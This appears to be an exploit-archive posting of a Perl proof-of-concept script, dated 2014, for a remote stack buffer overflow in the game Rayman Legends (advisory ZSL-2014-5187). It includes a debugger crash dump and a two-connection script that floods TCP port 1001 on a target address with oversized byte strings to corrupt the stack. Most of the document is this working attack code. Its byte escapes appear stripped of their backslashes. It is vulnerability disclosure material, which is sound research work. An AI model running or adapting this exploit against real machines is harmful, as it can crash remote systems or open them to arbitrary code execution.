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Ubisoft Rayman Legends 1.2.103716 Buffer Overflow

Posted on 18 June 2014

#!/usr/bin/perl
#
#
# Ubisoft Rayman Legends v1.2.103716 Remote Stack Buffer Overflow Vulnerability
#
#
# Vendor: Ubisoft Entertainment S.A.
# Product web page: http://www.ubi.com
# Affected version: 1.2.103716, 1.1.100477 and 1.0.95278
#
# Summary: Rayman Legends is a 2013 platform game developed by Ubisoft
# Montpellier and published by Ubisoft. It is the fifth main title in
# the Rayman series and the direct sequel to the 2011 game Rayman Origins.
# The game was released for Microsoft Windows, Xbox 360, PlayStation 3,
# Wii U, and PlayStation Vita platforms in August and September 2013.
# PlayStation 4 and Xbox One versions were released in February 2014.
#
# Desc: The vulnerability is caused due to a memset() boundary error in the
# processing of incoming data thru raw socket connections on TCP port 1001,
# which can be exploited to cause a stack based buffer overflow by sending a
# long string of bytes on the second connection. Successful exploitation could
# allow execution of arbitrary code on the affected node.
#
# ===========================================================================
#
# (15a8.f0c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=aaaaaaaa ebx=096494a0 ecx=10909090 edx=00000002 esi=1c1bde90 edi=00000000
# eip=715e26df esp=0f16dcec ebp=0f16dd14 iopl=0 nv up ei pl nz na pe cy
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207
# MSVCR100!memset+0x5f:
# 715e26df f3ab rep stos dword ptr es:[edi]
# 0:028> d esp
# 0f16dcec 42 42 42 42 64 00 a6 00-00 00 00 00 aa 00 00 00 BBBBd...........
# 0f16dcfc 42 42 42 42 42 42 42 42-22 00 00 00 50 42 4b 1c BBBBBBBB"...PBK.
# 0f16dd0c 90 43 0f 08 01 00 00 00-28 dd 16 0f 04 02 a6 00 .C......(.......
# 0f16dd1c 50 42 4b 1c 6c dd 16 0f-d8 03 00 00 4c fd 16 0f PBK.l.......L...
# 0f16dd2c e3 f9 a5 00 48 dd 16 0f-fc 03 00 00 3c 1d f7 07 ....H.......<...
# 0f16dd3c 3c 1d f7 07 fb 14 db 75-fc 03 00 00 41 41 41 41 <......u....AAAA
# 0f16dd4c 41 41 41 41 41 41 41 41-41 41 41 41 42 42 42 42 AAAAAAAAAAAABBBB
# 0f16dd5c 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
#
# ===========================================================================
#
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Microsoft Windows 7 Ultimate SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2014-5187
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5187.php
#
#
# 22.05.2014
#
#

use IO::Socket;

print
 "
 @****************************************@
 | |
 | Ubisoft Rayman Legends BoF PoC Script |
 | |
 | ZSL-2014-5187 |
 | |
 @****************************************@
 ";

$ip="$ARGV[0]";

if($#ARGV!=0)
{
 print "

x20x20x1cx20Usage: $0 <ipaddr>

";
 exit();
}

print "
x20x1cx20Target: $ip
";
print "x20x1cx20Initiating first connection
";

sleep 2;
$conn1=IO::Socket::INET->new(PeerAddr=>$ip,PeerPort=>1001,Proto=>'tcp');
if(!$conn1)
{
 print "
x20*** Connection error!
";
 exit();
} else
 {
 print "x20x1cx20Connection established
";
 }

print $conn1 "x44"x36;
print $conn1 "x45x45x45x45";
print $conn1 "x46"x2000; # SC contain
print "x20x1cx20Payload sent
";
close $conn1;
print "x20x1cx20First stage completed
x20x1c
";
print "x20x1cx20Initiating second connection
";

sleep 2;
$conn2=IO::Socket::INET->new(PeerAddr=>$ip,PeerPort=>1001,Proto=>'tcp');
if(!$conn2)
{
 print "
x20*** Connection error!
";
 exit();
} else
 {
 print "x20x1cx20Connection established
";
 }

print $conn2 "x41" x 16;
print $conn2 "x42x42x42x42"; # ESP ->
print $conn2 "x43"x1000; # SC contain
print "x20x1cx20Payload sent
";
print "x20x1cx20Second stage completed
";
close $conn2;
print "x20x1cx20t00t!
";

 

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